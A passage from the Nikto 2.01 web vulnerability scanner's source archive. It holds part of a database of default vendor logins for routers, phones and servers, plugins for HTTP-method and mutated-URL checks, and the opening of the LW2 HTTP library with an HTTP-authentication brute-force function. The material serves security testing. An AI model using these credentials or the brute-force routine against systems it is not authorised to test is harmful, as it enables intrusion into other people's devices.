7401BRA" "@ANY","admin","demo","OpenMarket Content Server" "@ANY","admin","epicrouter","Generic account discovered" "@ANY","admin","hagpolm1","Siemens SpeedStream 4100" "@ANY","admin","hp.com","Hewlett-Packard webmin" "@ANY","Admin","ImageFolio","BizDesign ImageFolio" "@ANY","admin","ironport","IronPrt C30" "Motive Chorus","admin","isee","Hewlett-Packard Motive Chorus" "@ANY","admin","linga","Alteon ACEswitch 180e" "@ANY","admin","motorola","Motorola wireless router" "@ANY","admin","mp3mystic","MP3Mystic" "@ANY","admin","muze","Muze Ariadne" "@ANY","admin","netadmin","Enterasys ANG-1105" "@ANY","admin","operator","iPSTAR Satellite" "@ANY","admin","password","Generic account discovered" "@ANY","admin","secure","Generic account discovered" "@ANY","admin","setup","Nortel Contivity" "@ANY","admin","smallbusiness","Pirelli AGE-SB" "@ANY","admin","smcadmin","SMC Barricade 7204BRB" "@ANY","admin","synnet","3COM CellPlex" "@ANY","admin","TANDBERG","Tandberg device" "@ANY","admin","tomcat","Apache Tomcat" "@ANY","admin@example.com","admin","MySQL Eventum" "@ANY","Administrator","","Generic account discovered" "@ANY","administrator","**#","Polycom Soundstation IP" "@ANY","Administrator","0000","Snom VoIP business phone" "@ANY","Administrator","1234","Integrated Networks IP Phone" "@ANY","administrator","1234","IntelliTouch Voip Broadband phone" "@ANY","Administrator","12345678","Integrated Networks IP Phone" "@ANY","Administrator","19750407","Luxon Communications/Integrated Networks IP Phone" "@ANY","Administrator","admin","Generic account discovered" "@ANY","administrator","administrator","Compaq WBEM" "@ANY","administrator","administrator","Generic account discovered." "@ANY","administrator","adminpass","NessusWeb" "@ANY","AdvWebadmin","advcomm500349","Hosting Controller" "@ANY","anonymous","","Sambar Server" "@ANY","apc","apc","APC UPS" "@ANY","billy-bob","","Sambar Server" "@ANY","Bobo","hello","OpenMarket Content Server" "@ANY","cac_admin","cacadmin","Openwave MSP" "@ANY","Cisco","Cisco","Cisco device" "@ANY","Coco","hello","OpenMarket Content Server" "@ANY","customer","","Aspect ACD" "@ANY","device","device","APC UPS" "@ANY","e250","e250changeme","Network Associates WebShield Security Appliance e250" "@ANY","e500","e500changeme","Network Associates WebShield Security Appliance e500" "@ANY","Flo","hello","OpenMarket Content Server" "@ANY","ftp","","Sambar Server" "@ANY","guest","","Generic account discovered" "@ANY","guest","guest","Generic account discovered." "@ANY","intel","intel","Intel wireless gateway" "@ANY","jagadmin","","Sybase EAServer" "@ANY","Jetform","","Jetform Design" "@ANY","Joe","hello","OpenMarket Content Server" "@ANY","LDAP_Anonymous","LdapPassword_1","Microsoft SiteServer" "@ANY","manager","admin","Allied Telesyn switch" "@ANY","Manager","fried","Allied Telesyn router" "@ANY","Moe","hello","OpenMarket Content Server" "@ANY","naadmin","naadmin","NetGenesis NetAnalysis Web Reporting" "@ANY","operator","","Magicolor 3100" "@ANY","operator","$schwarzepumpe","Intershop" "@ANY","piranha","piranha","Redhat 6.2" "@ANY","piranha","q","Redhat 6.2" "@ANY","Polycom","SpIp","Polycom Soundpoint VoIP phones" "@ANY","public","public","Samsung Router" "@ANY","role","changethis","Apache Tomcat" "@ANY","role1","role1","Apache Tomcat" "@ANY","Root","","3COM Netbuilder" "@ANY","root","","Generic account discovered" "@ANY","root","calvin","Dell Remote Access Card" "@ANY","root","changeme","Sun Microsystems ILOM/X4100" "@ANY","root","changethis","Apache Tomcat" "@ANY","root","changethis","Apache Tomcat" "@ANY","root","Cisco","Cisco device" "@ANY","root","nsi","NSI vmXfw" "@ANY","root","pass","Axis Webcams" "@ANY","root","password","BestPractical RT" "@ANY","root","root","Apache Tomcat" "@ANY","root","root","Generic account discovered" "@ANY","root","tslinux","Cyclades TS800" "@ANY","sadmin","","Novell NDS iMonitor" "@ANY","smc","smcadmin","SMC Barricade 7401BRA" "@ANY","storwatch","specialist","IBM TotalStorage" "@ANY","super","5777364","Netgear wireless gateway" "@ANY","superadmin","secret","IBM Web administration tool" "@ANY","superman","21241036","Netgear wireless gateway" "@ANY","superuser","admin","Efficient Speedstream" "@ANY","supervisor","PlsChgMe","Nortel Business Communications Manager" "@ANY","support","h179350","Psion Teklogix 9150" "@ANY","sys","uplink","Openwave WAP gateway" "@ANY","sysadmin","password","Ricoh Aficio" "@ANY","system","password","Mitel 3300 ICP" "@ANY","test","test","Generic account discovered." "@ANY","tomcat","changethis","Apache Tomcat" "@ANY","tomcat","tomcat","Apache Tomcat" "@ANY","user_analyst","demo","OpenMarket Content Server" "@ANY","user_approver","demo","OpenMarket Content Server" "@ANY","user_author","demo","OpenMarket Content Server" "@ANY","user_checker","demo","OpenMarket Content Server" "@ANY","user_designer","demo","OpenMarket Content Server" "@ANY","user_editor","demo","OpenMarket Content Server" "@ANY","user_expert","demo","OpenMarket Content Server" "@ANY","user_marketer","demo","OpenMarket Content Server" "@ANY","user_pricer","demo","OpenMarket Content Server" "@ANY","user_publisher","demo","OpenMarket Content Server" "@ANY","user","","D-Link router" "@ANY","User","","D-Link router" "@ANY","webadmin","1234","ZyXEL Prestige" "@ANY","webadmin","webadmin","Broadlogic XLT router" "@ANY","websecadm","changeme","Entrust getAccess" "ConfigToolPassword",,,"Realm matches a Nokia Checkpoint Firewall-1" "daap","","","DAAP (iTunes?) server with authentication." "EIC","root","ncr","Enterprise Intranet Configurator - NCR Teradata server" "Entrust GetAccess SCA","admin","admin","Entrust GetAccess Service Control Agent" "hp print server appliance","admin","admin","HP Print Server" "InterScanVirusWall","admin","admin","Trend Micro's InterScan Virus Wall" "Monitor or Admin","admin","","StorageTek's StorageNet, ID 'admin' with no password" "Monitor or Admin","monitor","","StorageTek's StorageNet, ID monitor' with no password" "Netscape Administration","admin","admin","Netscape server administration" "Netscape Mission Control","admin","admin","Netscape server administration" "Topaz Prism Site","admin","admin","Topaz Prism monitoring from Mercurity Interactive" "Topaz Site Realm","admin","admin","Mercury Interactive Topaz administrator" "UpgradeAdministrator","admin","ncr","NCR's Terradata server, Parallel Upgrade Tool (PUT)" nikto-2.01/plugins/nikto_httpoptions.plugin0000664000076400007640000001105110717436030020347 0ustar sullosullo#VERSION,2.01 #LASTMOD,11.16.2007 ############################################################################### # Copyright (C) 2006 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # HTTP options check ############################################################################### # This just gets the HTTP options & checks 'em out. # See RFC 2626 for more info... sub nikto_httpoptions { # test for both OPTIONS / and OPTIONS * as they may give different results (my $RES, $CONTENT) = fetch("*", "OPTIONS"); my $aoptions = "$result{allow}, "; my $poptions = "$result{public}, "; my ($allow_methods, $public_methods, $txt); ($RES, $CONTENT) = fetch("/", "OPTIONS"); $aoptions .= $result{allow}; $poptions .= $result{public}; foreach my $o (split(/,[ ]?/, $aoptions)) { $allow_methods .= ", $o" unless ($allow_methods =~ /\b$o\b/ || $o eq ''); } $allow_methods =~ s/^[ ]?, //; foreach my $o (split(/,[ ]?/, $poptions)) { $public_methods .= ", $o" unless ($public_methods =~ /\b$o\b/ || $o eq ''); } $public_methods =~ s/^[ ]?, //; # proxy can impose it's methods... should actually check this not just warn if ($CLI{useproxy} ne "") { $txt="(May be proxy's methods, not server's)"; } if ($allow_methods ne "") { nprint("+ Allowed HTTP Methods: $allow_methods $txt"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; foreach my $m (split/,? /, $allow_methods) { eval_methods($m,"Allow"); } } if ($public_methods ne "") { nprint("+ Public HTTP Methods: $public_methods $txt"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; foreach my $m (split/,? /, $public_methods) { eval_methods($m,"Public"); } } return; } sub eval_methods { my $method=$_[0] || return; my $type=$_[1]; $method=uc($method); my $prefix="HTTP method ('$type' Header):"; if ($method eq "CONNECT") { nprint("+ OSVDB-0: $prefix 'CONNECT' may allow server to proxy client requests."); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } elsif ($method eq "MOVE") { nprint("+ OSVDB-5647: $prefix 'MOVE' may allow clients to change file locations on the web server.", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } elsif ($method eq "PROPFIND") { nprint("+ OSVDB-13431: $prefix 'PROPFIND' may indicate DAV/WebDAV is installed. This may be used to get directory listings if indexing is allowed but a default page exists.", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } elsif ($method eq "SEARCH") { nprint("+ OSVDB-425: $prefix 'SEARCH' indicates DAV/WebDAV is installed, and may be used to get directory listings if Index Server is running.", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } elsif ($method eq "PUT") { nprint("+ OSVDB-397: $prefix 'PUT' method could allow clients to save files on the web server.", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } elsif ($method eq "TRACE") { nprint("+ OSVDB-877: $prefix 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST.", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } elsif ($method eq "PROPPATCH") { nprint("+ OSVDB-425: $prefix 'PROPPATCH' indicates DAV/WebDAV is installed.", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } elsif ($method eq "DELETE") { nprint("+ OSVDB-5646: $prefix 'DELETE' may allow clients to remove files on the web server.", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } elsif ($method eq "TRACK") { nprint("+ OSVDB-5648: $prefix 'TRACK' ('TRACE' alias) is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST.","","kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } } 1; nikto-2.01/plugins/nikto_mutate.plugin0000664000076400007640000000631510715337745017275 0ustar sullosullo#VERSION,2.00 #LASTMOD,11.10.2007 ############################################################################### # Copyright (C) 2004 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Mutated file checks ############################################################################### sub nikto_mutate { if ($CLI{mutate} !~ /1/) { return; } my ($c, %DIRS, %FS) = ""; # build a hash of all the unique directories foreach $c (@CGIDIRS) { $DIRS{$c} = ""; } nprint("-Loading root level files", "v"); foreach my $checkid (keys %TESTS) { my $dir = LW2::uri_get_dir($TESTS{$checkid}{uri}); my $file = $TESTS{$checkid}{uri}; my $rdir = $dir; $rdir =~ s/([^a-zA-Z0-9])/\\$1/g; $file =~ s/$rdir//; $DIRS{$dir} = "" unless $dir eq ""; $FS{$file} = "" unless $file eq ""; } foreach my $c ((split(/ /, $VARIABLES{"\@MUTATEDIRS"}))) { $DIRS{$c} = ""; } foreach my $c ((split(/ /, $VARIABLES{"\@MUTATEFILES"}))) { $FS{$c} = ""; } # add the directory/file combos to the request hashes my $new_tests = 0; my $m_test = max_test_id(); foreach my $root (keys %DIRS) { foreach my $file (keys %FS) { # skip self referencing stuff if (($root !~ /[^\.\/]/) && ($file !~ /[^\.\/]/)) { next; } # args with no file if (($root eq "/") && ($file =~ /^\?/)) { next; } if (($root eq "") && ($file =~ /^\?/)) { next; } $TARGETS{$CURRENT_HOST_ID}{total_checks}++; $m_test++; $new_tests++; if (($new_tests % 100000) eq 0) { nprint("-Added test ($new_tests of many):$root$file:", "d"); } $TESTS{$m_test}{uri} = "$root$file"; $TESTS{$m_test}{message} = "URL created via mutate option."; $TESTS{$m_test}{match_1} = 200; $TESTS{$m_test}{match_1_and} = ""; $TESTS{$m_test}{match_1_or} = ""; $TESTS{$m_test}{fail_1} = ""; $TESTS{$m_test}{fail_2} = ""; $TESTS{$m_test}{method} = "GET"; $TESTS{$m_test}{data} = ""; $TESTS{$m_test}{headers} = ""; $TESTS{$m_test}{category} = 1; $TESTS{$m_test}{osvdb} = 3092; $TESTS{$m_test}{server} = "generic"; } } nprint("- $new_tests mutate checks loaded", "v"); return; } 1; nikto-2.01/plugins/LW2.pm0000775000076400007640000061647410621112366014316 0ustar sullosullo#!/usr/bin/perl # LW2 version 2.4 # # LW2 copyright 2000-2006 by rain forest puppy, rfp.labs # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # =head1 NAME LW2 - Perl HTTP library version 2.4 =head1 SYNOPSIS use LW2; require 'LW2.pm'; =head1 DESCRIPTION Libwhisker is a Perl library useful for HTTP testing scripts. It contains a pure-Perl reimplementation of functionality found in the C, C, C, C, C, C, C, C, C, C, and C modules. Libwhisker is designed to be portable (a single perl file), fast (general benchmarks show libwhisker is faster than LWP), and flexible (great care was taken to ensure the library does exactly what you want to do, even if it means breaking the protocol). =head1 FUNCTIONS The following are the functions contained in Libwhisker: =over 4 =cut package LW2; $LW2::VERSION="2.4"; $PACKAGE='LW2'; BEGIN { package LW2; $PACKAGE='LW2'; ## LW module manager stuff ## $LW_SSL_LIB = 0; $LW_SSL_KEEPALIVE = 0; $LW_NONBLOCK_CONNECT = 1; $_SSL_LIBRARY = undef; eval "use Socket"; if ( !$@ ) { eval "use Net::SSLeay"; # do we have SSL support? if ( !$@ ) { $LW_SSL_LIB = 1; $_SSL_LIBRARY = 'Net::SSLeay'; Net::SSLeay::load_error_strings(); Net::SSLeay::SSLeay_add_ssl_algorithms(); Net::SSLeay::randomize(); } else { eval "use Net::SSL"; if ( !$@ ) { $LW_SSL_LIB = 2; $_SSL_LIBRARY = 'Net::SSL'; } } if ( $^O !~ /Win32/ ) { eval "use POSIX qw(:errno_h :fcntl_h)"; if ($@) { $LW_NONBLOCK_CONNECT = 0; } } else { # taken from Winsock2.h *EINPROGRESS = sub { 10036 }; *EWOULDBLOCK = sub { 10035 }; } } } # BEGIN ######################################################################## =item B Params: $auth_method, \%req, $user, \@passwords [, $domain, $fail_code ] Return: $first_valid_password, undef if error/none found Perform a HTTP authentication brute force against a server (host and URI defined in %req). It will try every password in the password array for the given user. The first password (in conjunction with the given user) that doesn't return HTTP 401 is returned (and the brute force is stopped at that point). You should retry the request with the given password and double-check that you got a useful HTTP return code that indicates successful authentication (200, 302), and not something a bit more abnormal (407, 500, etc). $domain is optional, and is only used for NTLM auth. Note: set up any proxy settings and proxy auth in %req before calling this function. You can brute-force proxy authentication by setting up the target proxy as proxy_host and proxy_port in %req, using an arbitrary host and uri (preferably one that is reachable upon successful proxy authorization), and setting the $fail_code to 407. The $auth_method passed to this function should be a proxy-based one ('proxy-basic', 'proxy-ntlm', etc). if your server returns something other than 401 upon auth failure, then set $fail_code to whatever is returned (and it needs to be something *different* than what is received on auth success, or this function won't be able to tell the difference). =cut sub auth_brute_force { my ( $auth_method, $hrin, $user, $pwordref, $dom, $fail_code ) = @_; my ( $P, %hout ); $fail_code ||= 401; return undef if ( !defined $auth_method || length($auth_method) == 0 ); return undef if ( !defined $user || length($user) == 0 ); return undef if ( !( defined $hrin && ref($hrin) ) ); return undef if ( !( defined $pwordref && ref($pwordref) ) ); map { ( $P = $_ ) =~ tr/\r\n//d; auth_set_header( $auth_method, $hrin, $user, $P, $dom ); return undef if ( http_do_request( $hrin, \%hout ) ); return $P if ( $hout{whisker}->{code} != $fail_code ); } @$pwordref; return undef; } ######################################################################## =item B Params: \%req Return: nothing (modifies %req) Modifes %req to disable all authentication (regular and proxy). Note: it only removes the values set by auth_set(). Manually-defined [Proxy-]Authorization headers will also be deleted (but you shouldn't be using the auth_* functions if you're manually handling your own auth...) =cut sub auth_unset { my $href = shift; return if ( !defined $href || !ref($href) ); delete $$href{Authorization}; delete $$href{'Proxy-Authorization'}; delete $$href{whisker}->{auth_callback}; delete $$href{whisker}->{auth_proxy_callback}; delete $$href{whisker}->{auth_data}; delete $$href{whisker}->{auth_proxy_data}; } ######################################################################## =item B Params: $auth_method, \%req, $user, $password [, $domain] Return: nothing (modifies %req) Modifes %req to use the indicated authentication info. Auth_method can be: 'basic', 'proxy-basic', 'ntlm', 'proxy-ntlm'. Note: this function may not necessarily set any headers after being called. Also, proxy-ntlm with SSL is not currently supported. =cut sub auth_set { my ( $method, $href, $user, $pass, $domain ) = ( lc(shift), @_ ); return if ( !( defined $href && ref($href) ) ); return if ( !defined $user || !defined $pass ); if ( $method eq 'basic' ) { $$href{'Authorization'} = 'Basic ' . encode_base64( $user . ':' . $pass, '' ); } if ( $method eq 'proxy-basic' ) { $$href{'Proxy-Authorization'} = 'Basic ' . encode_base64( $user . ':' . $pass, '' ); } if ( $method eq 'ntlm' ) { http_close($href); $$href{whisker}->{auth_data} = ntlm_new( $user, $pass, $domain ); $$href{whisker}->{auth_callback} = \&_ntlm_auth_callback; } if ( $method eq 'proxy-ntlm' ) { utils_croak('',"auth_set: proxy-ntlm auth w/ SSL not currently supported") if ( $href->{whisker}->{ssl} > 0 ); http_close($href); $$href{whisker}->{auth_proxy_data} = ntlm_new( $user, $pass, $domain ); $$href{whisker}->{auth_proxy_callback} = \&_ntlm_auth_proxy_callback; } } ######################################################################## =item B Params: none Return: $jar Create a new cookie jar, for use with the other functions. Even though the jar is technically just a hash, you should still use this function in order to be future-compatible (should the jar format change). =cut sub cookie_new_jar { return {}; } ######################################################################## =item B Params: $jar, \%response [, \%request, $reject ] Return: $num_of_cookies_read Read in cookies from an %response hash, and put them in $jar. Notice: cookie_read uses internal magic done by http_do_request in order to read cookies regardless of 'Set-Cookie[2]' header appearance. If the optional %request hash is supplied, then it will be used to calculate default host and path values, in case the cookie doesn't specify them explicitly. If $reject is set to 1, then the %request hash values are used to calculate and reject cookies which are not appropriate for the path and domains of the given request. =cut sub cookie_read { my ( $count, $jarref, $hrs, $hrq, $rej ) = ( 0, @_ ); return 0 if ( !( defined $jarref && ref($jarref) ) ); return 0 if ( !( defined $hrs && ref($hrs) ) ); return 0 if ( !( defined $$hrs{whisker}->{cookies} && ref( $$hrs{whisker}->{cookies} ) ) ); my @opt; if(defined $hrq && ref($hrq)){ push @opt, $hrq->{whisker}->{host}; my $u = $hrq->{whisker}->{uri}; $u=~s#/.*?$##; $u='/' if($u eq ''); push @opt, $u, $rej; } foreach ( @{ $hrs->{whisker}->{cookies} } ) { cookie_parse( $jarref, $_ , @opt); $count++; } return $count; } ######################################################################## =item B Params: $jar, $cookie [, $default_domain, $default_path, $reject ] Return: nothing Parses the cookie into the various parts and then sets the appropriate values in the cookie $jar. If the cookie value is blank, it will delete it from the $jar. See the 'docs/cookies.txt' document for a full explanation of how Libwhisker parses cookies and what RFC aspects are supported. The optional $default_domain value is taken literally. Values with no leading dot (e.g. 'www.host.com') are considered to be strict hostnames and will only match the identical hostname. Values with leading dots (e.g. '.host.com') are treated as sub-domain matches for a single domain level. If the cookie does not indicate a domain, and a $default_domain is not provided, then the cookie is considered to match all domains/hosts. The optional $default_path is used when the cookie does not specify a path. $default_path must be absolute (start with '/'), or it will be ignored. If the cookie does not specify a path, and $default_path is not provided, then the default value '/' will be used. Set $reject to 1 if you wish to reject cookies based upon the provided $default_domain and $default_path. Note that $default_domain and $default_path must be specified for $reject to actually do something meaningful. =cut sub cookie_parse { my ( $jarref, $header ) = (shift, shift); my ( $Dd, $Dp, $R ) = (shift, shift, shift||0); return if ( !( defined $jarref && ref($jarref) ) ); return if ( !( defined $header && length($header) > 0 ) ); my @C = ( undef, undef, undef, undef, 0 ); $header =~ tr/\r\n//d; my ($f,%seen,$n,$t) = (1); while( length($header) ){ $header =~ s/^[ \t]+//; last if(!($header =~ s/^([^ \t=;]+)//)); my $an = lc($1); my $av = undef; $header =~ s/^[ \t]+//; if(substr($header,0,1) eq '='){ $header=~s/^=[ \t]*//; if(substr($header,0,1) eq '"'){ my $p = index($header,'"',1); last if($p == -1); $av = substr($header,1,$p-1); substr($header,0,$p+1)=''; } else { $av = $1 if($header =~ s/^([^ \t;,]*)//); } } else { my $p = index($header,';'); substr($header,0,$p)=''; } $header =~ s/^.*?;//; if($f){ return if(!defined $av); ($f,$n,$C[0])=(0,$an,$av); } else { $seen{$an}=$av if(!exists $seen{$an}); } } return if(!defined $n || $n eq ''); my $del = 0; $del++ if($C[0] eq ''); $del++ if(defined $seen{'max-age'} && $seen{'max-age'} eq '0'); if($del){ delete $$jarref{$n} if exists $$jarref{$n}; return; } if(defined $seen{domain} && $seen{domain} ne ''){ $t = $seen{domain}; $t='.'.$t if(substr($t,0,1) ne '.' && !_is_ip_address($t)); } else { $t=$Dd; } $t=~s/\.+$// if(defined $t); $C[1]=$t; if(defined $seen{path}){ $t = $seen{path}; } else { $t=$Dp || '/'; } $t=~s#/+$##; $t='/' if(substr($t,0,1) ne '/'); $C[2]=$t; $C[4]=1 if(exists $seen{secure}); return if($R && !_is_valid_cookie_match($C[1], $C[2], $Dd, $Dp)); $$jarref{$n} = \@C; } ######################################################################## sub _is_ip_address { my $n = shift; return 1 if($n=~/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/); return 0; } sub _is_valid_cookie_match { my ($cd, $cp, $td, $tp) = @_; return 0 if(index($tp,$cp)!=0); if(substr($cd,0,1) eq '.'){ if( $td =~ /(.+)$cd$/ ){ return 1 if(index($1,'.') == -1); } return 0; } else { return 0 if($cd ne $td); } return 1; } ######################################################################## =item B Params: $jar, \%request, $override Return: nothing Goes through the given $jar and sets the Cookie header in %req pending the correct domain and path. If $override is true, then the secure, domain and path restrictions of the cookies are ignored and all cookies are essentially included. Notice: cookie expiration is currently not implemented. URL restriction comparision is also case-insensitive. =cut sub cookie_write { my ( $jarref, $hin, $override ) = @_; my ( $name, $out ) = ( '', '' ); return if ( !( defined $jarref && ref($jarref) ) ); return if ( !( defined $hin && ref($hin) ) ); $override = $override || 0; $$hin{'whisker'}->{'ssl'} = $$hin{'whisker'}->{'ssl'} || 0; foreach $name ( keys %$jarref ) { next if ( $name eq '' ); if($override){ $out .= "$name=$$jarref{$name}->[0];"; next; } next if ( $$hin{'whisker'}->{'ssl'} == 0 && $$jarref{$name}->[4] > 0 ); if ( $$hin{'whisker'}->{'host'} =~ /$$jarref{$name}->[1]$/i && $$hin{'whisker'}->{'uri'} =~ /^$$jarref{$name}->[2])/ ) { $out .= "$name=$$jarref{$name}->[0];"; } } if ( $out ne '' ) { $$hin{'Cookie'} = $out; } } ######################################################################## =item B Params: $jar, $name Return: @elements Fetch the named cookie from the $jar, and return the components. The returned items will be an array in the following order: value, domain, path, expire, secure value = cookie value, should always be non-empty string domain = domain root for cookie, can be undefined path = URL path for cookie, should always be a non-empty string expire = undefined (depreciated, but exists for backwards-compatibility) secure = whether or not the cookie is limited to HTTPs; value is 0 or 1 =cut sub cookie_get { my ( $jarref, $name ) = @_; return undef if ( !( defined $jarref && ref($jarref) ) ); if ( defined $$jarref{$name} ) { return @{ $$jarref{$name} }; } return undef; } ######################################################################## =item B Params: $jar Return: @names Fetch all the cookie names from the jar, which then let you cooke_get() them individually. =cut sub cookie_get_names { my ( $jarref, $name ) = @_; return undef if ( !( defined $jarref && ref($jarref) ) ); return keys %$jarref; } ######################################################################## =item B Params: $jar, $domain, $url, $ssl Return: @names Fetch all the cookie names from the jar which are valid for the given $domain, $url, and $ssl values. $domain should be string scalar of the target host domain ('www.example.com', etc.). $url should be the absolute URL for the page ('/index.html', '/cgi-bin/foo.cgi', etc.). $ssl should be 0 for non-secure cookies, or 1 for all (secure and normal) cookies. The return value is an array of names compatible with cookie_get(). =cut sub cookie_get_valid_names { my ( $jarref, $domain, $url, $ssl ) = @_; return () if ( !( defined $jarref && ref($jarref) ) ); return () if ( !defined $domain || $domain eq '' ); return () if ( !defined $url || $url eq '' ); $ssl ||= 0; my (@r, $name); foreach $name ( keys %$jarref ) { next if ( $name eq '' ); next if ( $$jarref{$name}->[4] > 0 && $ssl == 0 ); if ( $domain =~ /$$jarref{$name}->[1]$/i && $url =~ /^$$jarref{$name}->[2])/i ) { push @r, $name; } } return @r; } ######################################################################## =item B Params: $jar, $name, $value, $domain, $path, $expire, $secure Return: nothing Set the named cookie with the provided values into the %jar. $name is required to be a non-empty string. $value is required, and will delete the named cookie from the $jar if it is an empty string. $domain and $path can be strings or undefined. $expire is ignored (but exists for backwards-compatibility). $secure should be the numeric value of 0 or 1. =cut sub cookie_set { my ( $jarref, $name, $value, $domain, $path, $expire, $secure ) = @_; my @construct; return if ( !( defined $jarref && ref($jarref) ) ); return if ( $name eq '' ); if ( !defined $value || $value eq '' ) { delete $$jarref{$name}; return; } $path = $path || '/'; $secure = $secure || 0; @construct = ( $value, $domain, $path, undef, $secure ); $$jarref{$name} = \@construct; } ######################################################################## ##################################################### # cluster global variables %_crawl_config = ( 'save_cookies' => 0, 'reuse_cookies' => 1, 'save_offsites' => 0, 'save_non_http' => 0, 'follow_moves' => 1, 'url_limit' => 1000, 'use_params' => 0, 'params_double_record' => 0, 'skip_ext' => { gif => 1, jpg => 1, png => 1, gz => 1, swf => 1, pdf => 1, zip => 1, wav => 1, mp3 => 1, asf => 1, tgz => 1 }, 'save_skipped' => 0, 'save_referrers' => 0, 'use_referrers' => 1, 'do_head' => 0, 'callback' => 0, 'netloc_bug' => 1, 'normalize_uri' => 1, 'source_callback' => 0 ); %_crawl_linktags = ( 'a' => 'href', 'applet' => [qw(codebase archive code)], 'area' => 'href', 'base' => 'href', 'bgsound' => 'src', 'blockquote' => 'cite', 'body' => 'background', 'del' => 'cite', 'embed' => [qw(src pluginspage)], 'form' => 'action', 'frame' => [qw(src longdesc)], 'iframe' => [qw(src longdesc)], 'ilayer' => 'background', 'img' => [qw(src lowsrc longdesc usemap)], 'input' => [qw(src usemap)], 'ins' => 'cite', 'isindex' => 'action', 'head' => 'profile', 'layer' => [qw(background src)], 'link' => 'href', # 'meta' => 'http-equiv', 'object' => [qw(codebase data archive usemap)], 'q' => 'cite', 'script' => 'src', 'table' => 'background', 'td' => 'background', 'th' => 'background', 'xmp' => 'href', ); ##################################################### =item B Params: $START, $MAX_DEPTH, \%request_hash [, \%tracking_hash ] Return: $crawl_object The crawl_new() functions initializes a crawl object (hash) to the default values, and then returns it for later use by crawl(). $START is the starting URL (in the form of 'http://www.host.com/url'), and MAX_DEPTH is the maximum number of levels to crawl (the START URL counts as 1, so a value of 2 will crawl the START URL and all URLs found on that page). The request_hash is a standard initialized request hash to be used for requests; you should set any authentication information or headers in this hash in order for the crawler to use them. The optional tracking_hash lets you supply a hash for use in tracking URL results (otherwise crawl_new() will allocate a new anon hash). =cut sub crawl_new { my ( $start, $depth, $reqref, $trackref ) = @_; my %X; return undef if ( !defined $start || !defined $depth ); return undef if ( !defined $reqref || !ref($reqref) ); $trackref = {} if ( !defined $trackref || !ref($trackref) ); $X{track} = $trackref; $X{request} = $reqref; $X{depth} = $depth || 2; $X{start} = $start; $X{magic} = 7340; $X{reset} = sub { $X{errors} = []; # all errors encountered $X{urls} = []; # temp; used to hold all URLs on page $X{server_tags} = {}; # all server tags found $X{referrers} = {}; # who refers to what URLs $X{offsites} = {}; # all URLs that point offsite $X{response} = {}; # temp; the response hash $X{non_http} = {}; # all non_http URLs found $X{cookies} = {}; # all cookies found $X{forms} = {}; # all forms found $X{jar} = {}; # temp; cookie jar $X{url_queue} = []; # temp; URLs to still fetch $X{config} = {}; %{ $X{config} } = %_crawl_config; %{ $X{track} } = (); $X{parsed_page_count} = 0; }; $X{crawl} = sub { crawl( \%X, @_ ) }; $X{reset}->(); return \%X; } ##################################################### =item B Params: $crawl_object [, $START, $MAX_DEPTH ] Return: $count [ undef on error ] The heart of the crawl package. Will perform an HTTP crawl on the specified HOST, starting at START URI, proceeding up to MAX_DEPTH. Crawl_object needs to be the variable returned by crawl_new(). You can also indirectly call crawl() via the crawl_object itself: $crawl_object->{crawl}->($START,$MAX_DEPTH) Returns the number of URLs actually crawled (not including those skipped). =cut { # START OF CRAWL CONTAINER sub crawl { my ( $C, $START, $MAX_DEPTH ) = @_; return undef if ( !defined $C || !ref($C) || $C->{magic} != 7340 ); # shortcuts, to reduce dereferences and typing my $CONFIG = $C->{config}; my $TRACK = $C->{track}; my $URLS = $C->{urls}; my $RESP = $C->{response}; my $REQ = $C->{request}; my $Q = $C->{url_queue}; $START ||= $C->{start}; $C->{depth} = $MAX_DEPTH || $C->{depth}; my ( $COUNT, $T, @ST ) = ( 0, '' ); # ST[] = [ 0.HOST, 1.PORT, 2.URL, 3.DEPTH, 4.CWD, 5.REF ] my @v = uri_split($START); my $error = undef; $error = 'Start protocol not http or https' if ( $v[1] ne 'http' && $v[1] ne 'https' ); $error = 'Bad start host' if ( !defined $v[2] || $v[2] eq '' ); push( @{ $C->{errors} }, $error ) && return undef if ( defined $error ); @ST = ( $v[2], $v[3], $v[0], 1, '', '' ); $REQ->{whisker}->{ssl} = 1 if ( $v[1] eq 'https' ); $REQ->{whisker}->{host} = $ST[0]; $REQ->{whisker}->{port} = $ST[1]; $REQ->{whisker}->{lowercase_incoming_headers} = 1; $REQ->{whisker}->{ignore_duplicate_headers} = 